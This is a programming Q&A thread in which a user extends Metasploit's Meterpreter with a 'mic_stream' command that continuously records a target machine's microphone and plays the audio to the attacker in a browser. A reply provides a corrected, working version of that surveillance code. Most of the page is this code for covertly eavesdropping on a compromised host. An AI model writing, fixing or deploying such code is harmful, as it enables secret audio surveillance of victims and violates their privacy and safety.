mohamed
mohamed

Reputation: 233

Audio streaming using metasploit

I want to make a microphone audio stream in metasploit like webcam_stream,so I added some codes to the ruby script at : (/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb), the added piece of code is:

def cmd_mic_stream(*args)

print_status("Starting...")
stream_path = Rex::Text.rand_text_alpha(8) + ".wav"
player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 2
view     = true
timeout  = 1800

record_mic_opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help Banner" ],
  "-d" => [ true, "The stream duration in seconds (Default:2)" ], # 1/30 min
  "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
  "-t" => [ true, "The stream player path (Default: #{player_path})"],
  "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
)

 record_mic_opts.parse(args) do |opt, _idx, val|
  case opt
  when "-h"
    print_line("Usage: record_mic [options]\n")
    print_line("Records audio from the default microphone.")
    print_line(record_mic_opts.usage)
    return
  when "-d" 
    duration = val.to_i
  when "-s"
    stream_path = val
  when "-t"
    player_path = val
  when "-v"
    view = true if val =~ /^(f|n|0)/i
  end
end

print_status("Preparing player...")
<!--
    html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
  var status = document.getElementById("status");
  status.innerText = msg;
}

function noAudio() {
  document.getElementById("streamer").style = "display:none";
  updateStatus("Waiting");
}

var i = 0;
function updateAudio() {
  var audio = document.getElementById("streamer");
  audio.src = "#{stream_path}#" + i;
  audio.style = "display:";
  updateStatus("Playing");
  i++;
  audio.load();
  audio.play();
}

setInterval(function() {
  updateAudio();
},25);

</script>
</head>
<body>
<noscript>
  <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : <span id="status"></span>
</pre>
<br>
<audio controls autoplay>
  <source onerror="noAudio()" id="streamer" type="audio/wav">
Your browser does not support the audio element.
</audio> 
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
    |
-->

::File.open(player_path, 'wb') do |f|
  f.write(html)
end
if view
  print_status("Opening player at: #{player_path}")
  Rex::Compat.open_file(player_path)
else
  print_status("Please open the player manually with a browser: #{player_path}")
end

print_status("Streaming...")
begin
  ::Timeout.timeout(timeout) do
    while client do
      data = client.webcam.record_mic(duration)
      if data
         ::File.open(stream_path, 'wb') do |d|
         d.write(data)
        end
        data = nil
        sleep(5)
      end
    end
  end
rescue ::Timeout::Error
end

print_status("Stopped")
end

you may notice that it is similar to webcam_stream command,the problem here is that the browser opens , status outputs "playing" , but the audio doesn't play anything , it's just empty what may have caused that ?

Upvotes: 3

Views: 2288

Answers (1)

Nishu
Nishu

Reputation: 43

try this code

def cmd_mic_stream(*args)
  print_status("Starting...")
  stream_path = Rex::Text.rand_text_alpha(8) + ".wav"
  player_path = Rex::Text.rand_text_alpha(8) + ".html"
  duration = 2
  view = true
  timeout = 1800

  record_mic_opts = Rex::Parser::Arguments.new(
    "-h" => [false, "Help Banner"],
    "-d" => [true, "The stream duration in seconds (Default: 2)"], # 1/30 min
    "-s" => [true, "The stream file path (Default: '#{stream_path}')"],
    "-t" => [true, "The stream player path (Default: #{player_path})"],
    "-v" => [true, "Automatically view the stream (Default: #{view})"]
  )

  record_mic_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: record_mic [options]\n")
      print_line("Records audio from the default microphone.")
      print_line(record_mic_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-s"
      stream_path = val
    when "-t"
      player_path = val
    when "-v"
      view = !(val =~ /^(f|n|0)/i)
    end
  end

  print_status("Preparing player...")
  html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
  var status = document.getElementById("status");
  status.innerText = msg;
}

function noAudio() {
  document.getElementById("streamer").style = "display:none";
  updateStatus("Waiting");
}

var i = 0;
function updateAudio() {
  var audio = document.getElementById("streamer");
  audio.src = "#{stream_path}#" + i;
  audio.style = "display:";
  updateStatus("Playing");
  i++;
  audio.load();
  audio.play();
}

setInterval(function() {
  updateAudio();
}, 25);
</script>
</head>
<body>
<noscript>
  <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : <span id="status"></span>
</pre>
<br>
<audio controls autoplay>
  <source onerror="noAudio()" id="streamer" type="audio/wav">
Your browser does not support the audio element.
</audio>
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>|

  ::File.open(player_path, 'wb') do |f|
    f.write(html)
  end

  if view
    print_status("Opening player at: #{player_path}")
    Rex::Compat.open_file(player_path)
  else
    print_status("Please open the player manually with a browser: #{player_path}")
  end

  print_status("Streaming...")
  begin
    ::Timeout.timeout(timeout) do
      while client do
        data = client.webcam.record_mic(duration)
        if data
          ::File.open(stream_path, 'ab') do |d|
            d.write(data)
          end
          data = nil
          sleep(5)
        end
      end
    end
  rescue ::Timeout::Error
    print_error("Streaming timed out after #{timeout} seconds.")
  end

  print_status("Stopped")
end

Upvotes: 0

Related Questions